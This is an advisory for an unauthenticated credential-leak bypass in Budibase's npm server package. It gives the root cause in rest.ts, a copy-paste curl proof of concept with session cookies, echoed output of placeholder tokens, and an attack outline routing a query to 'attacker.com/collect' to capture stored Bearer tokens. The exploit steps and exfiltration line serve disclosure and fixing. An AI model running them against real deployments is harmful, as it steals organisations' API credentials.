PT-2026-67612 — Information Disclosure in Npm @Budibase/Server

PT-2026-67612 · Npm · @Budibase/Server

Published

2026-07-24

Updated

2026-07-24

None

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Summary

Budibase attaches a REST datasource's stored credentials (Bearer/Basic tokens and static headers) to an outgoing request before it decides which host the request goes to, and never checks that the destination host matches the datasource. A query's request path can be pointed at any host (via an absolute URL or a user-supplied {{ parameter }}), so the stored credentials are delivered to an attacker-chosen server. Because a query can be published with the PUBLIC role, this is reachable by a fully unauthenticated attacker with one HTTP request. The credentials are masked (--secret-value--) everywhere in the API, yet this recovers them in cleartext. This is a bypass of GHSA-3gp5 (which fixed the base-URL rewrite vector but added no same-origin check; the query-path vector remains, now unauthenticated).

Root Cause

packages/server/src/integrations/rest.ts: req() builds authHeaders = getAuthHeaders(...) from the stored auth configs and merges them with config.defaultHeaders into every request, before the URL is resolved. getUrl(): if the (parameter-enriched) query path starts with http, the datasource base URL is ignored and path becomes the absolute request URL. There is no comparison between the resolved request host and the datasource base host before the credentials are attached. The execute route POST /api/v2/queries/:queryId runs under authorized(QUERY, WRITE); a query published at role PUBLIC is executable with no session.

POC

Reproduction — copy each line, paste in your terminal, press Enter,

Line 1:

DSID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/datasources" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app dev hasinocompany bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{" id":"ac1","name":"tok","type":"bearer","config":{"token":"UNAUTH LEAK TOKEN 5150"}}],"defaultHeaders":{"X-Static-Secret":"STATIC HDR LEAK 4242"}}},"fetchSchema":false,"tablesFilter":[]}' | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource'][' id'])"); echo "datasource=$DSID"

RESPONSE

datasource=datasource 9938805b2d0348a4a4f28dc9d1c97f19

Line 2:

QID=$(curl -s -X POST "https://hasinocompany.budibase.app/api/queries" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app dev hasinocompany bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d "{"datasourceId":"$DSID","name":"pocq","parameters":[{"name":"t","default":""}],"fields":{"path":"{{ t }}","bodyType":"none","authConfigId":"ac1","authConfigType":"bearer"},"queryVerb":"read","transformer":"return data","schema":{},"readable":true}" | python3 -c "import sys,json;print(json.load(sys.stdin)[' id'])"); echo "query=$QID"

RESPONSE

query=query datasource 9938805b2d0348a4a4f28dc9d1c97f19 7727920d8ccb4708a495eafb5a1351a7

Line 3:

curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/write" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app dev hasinocompany bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/read" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app dev hasinocompany bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; curl -s -X POST "https://hasinocompany.budibase.app/api/applications/app dev hasinocompany bcb6316e0d014f91939c812389012415/publish" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app dev hasinocompany bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" >/dev/null; echo published

RESPONSE

published

Line 4 — THE BUG (anonymous, no cookie — this prints the leaked Bearer UNAUTH LEAK TOKEN 5150):

curl -s -X POST "https://hasinocompany.budibase.app/api/v2/queries/$QID" -H "x-budibase-app-id: app hasinocompany bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"parameters":{"t":"https://postman-echo.com/get"}}'

RESPONSE

{"data":[{"args":{},"headers":{"host":"postman-echo.com","accept":"/","accept-language":"*","accept-encoding":"gzip, br","user-agent":"undici","sec-fetch-mode":"cors","x-static-secret":"STATIC HDR LEAK 4242","authorization":"Bearer UNAUTH LEAK TOKEN 5150","x-datadog-trace-id":"3035031720617373998","x-datadog-parent-id":"5509262114738533737","x-datadog-sampling-priority":"0","x-datadog-tags":" dd.p.tid=6a56b19a00000000, dd.p.llmobs ml app=app-service","traceparent":"00-6a56b19a000000002a1e99450570f12e-4c74d4b43b81f569-00","tracestate":"dd=t.tid:6a56b19a00000000;t.dm:-1;s:0;p:4c74d4b43b81f569","x-forwarded-proto":"https"},"url":"https://postman-echo.com/get"}],"pagination":{},"headers":{"cf-cache-status":"DYNAMIC","cf-ray":"a1b3cda318a3f0e7-DUB","content-encoding":"gzip","content-type":"application/json; charset=utf-8","date":"Tue, 14 Jul 2026 22:00:58 GMT","etag":"W/"292-YpfNwvZmX1jVU7GPgCQX7hoZtMw"","server":"cloudflare","set-cookie":" cfuvid=lJDfxAv0j6gmoaOpkyXVKpYK0yYSlYwgBjSHcA.rn.0-1784066458.0972874-1.0.1.1-q7WOtNlMsl5YmqkV34ms7hdy4oi1sw17X9IguTaJOKE; HttpOnly; SameSite=None; Secure; Path=/; Domain=postman-echo.com","vary":"Accept-Encoding","x-envoy-upstream-service-time":"4"},"code":200,"size":"658B","time":"139ms"}

Actual output of Line 4 (the leaked credential)

The anonymous request returns HTTP 200; the outbound headers echoed by postman-echo.com contain the datasource's stored, otherwise-masked credentials:

json

{"data":[{"headers":{"host":"postman-echo.com","x-static-secret":"STATIC HDR LEAK 4242","authorization":"Bearer UNAUTH LEAK TOKEN 5150"}}]}

authorization: Bearer UNAUTH LEAK TOKEN 5150 and x-static-secret: STATIC HDR LEAK 4242 were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs.

Full Real-World Attack

1. A builder has a REST datasource with stored auth (Bearer/API key) and a query
  whose path uses a parameter, published at PUBLIC (customer-facing app).
2. The attacker needs no account. They read the published app id + query id from
  the published app, then send ONE request:
   POST /api/v2/queries/<queryId>
   x-budibase-app-id: <prodAppId>
   {"parameters":{"t":"https://attacker.com/collect"}}
3. Budibase attaches Authorization: Bearer <token> and sends it to attacker.com.
4. attacker.com logs the header => the datasource's secret token.
5. The attacker calls the third-party API directly as the victim organisation.

Impact

Who / what is affected	How
Every REST datasource with stored auth used by a PUBLIC query	Its Bearer/Basic token + static headers are exfiltrated
The third-party service behind that datasource	Attacker uses the stolen token directly (data theft / abuse)
Unauthenticated attackers	One request, no login, no CSRF, no user interaction
The credential-masking control	Fully defeated - masked secrets recovered in cleartext

Recommended Fix

Before attaching stored auth, require the resolved request host to equal the datasource base host (strict same-origin check); strip stored credentials on any cross-origin resolution.
Reject absolute-URL query paths and host/scheme changes introduced via path parameter bindings.
Re-audit the GHSA-3gp5 fix - it closed the base-URL rewrite vector only; the query-path vector remained and is now reachable unauthenticated.

Information Disclosure

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dbugs@ptsecurity.com

Weakness Enumeration

CWE-200

Related Identifiers

GHSA-MQHR-6J6H-74P5

Affected Products

@Budibase/Server

PT-2026-67612 · Npm · @Budibase/Server

Summary

Root Cause

Reproduction — copy each line, paste in your terminal, press Enter,

Actual output of Line 4 (the leaked credential)

Full Real-World Attack

Impact

Recommended Fix

Weakness Enumeration

Related Identifiers

Affected Products

References · 6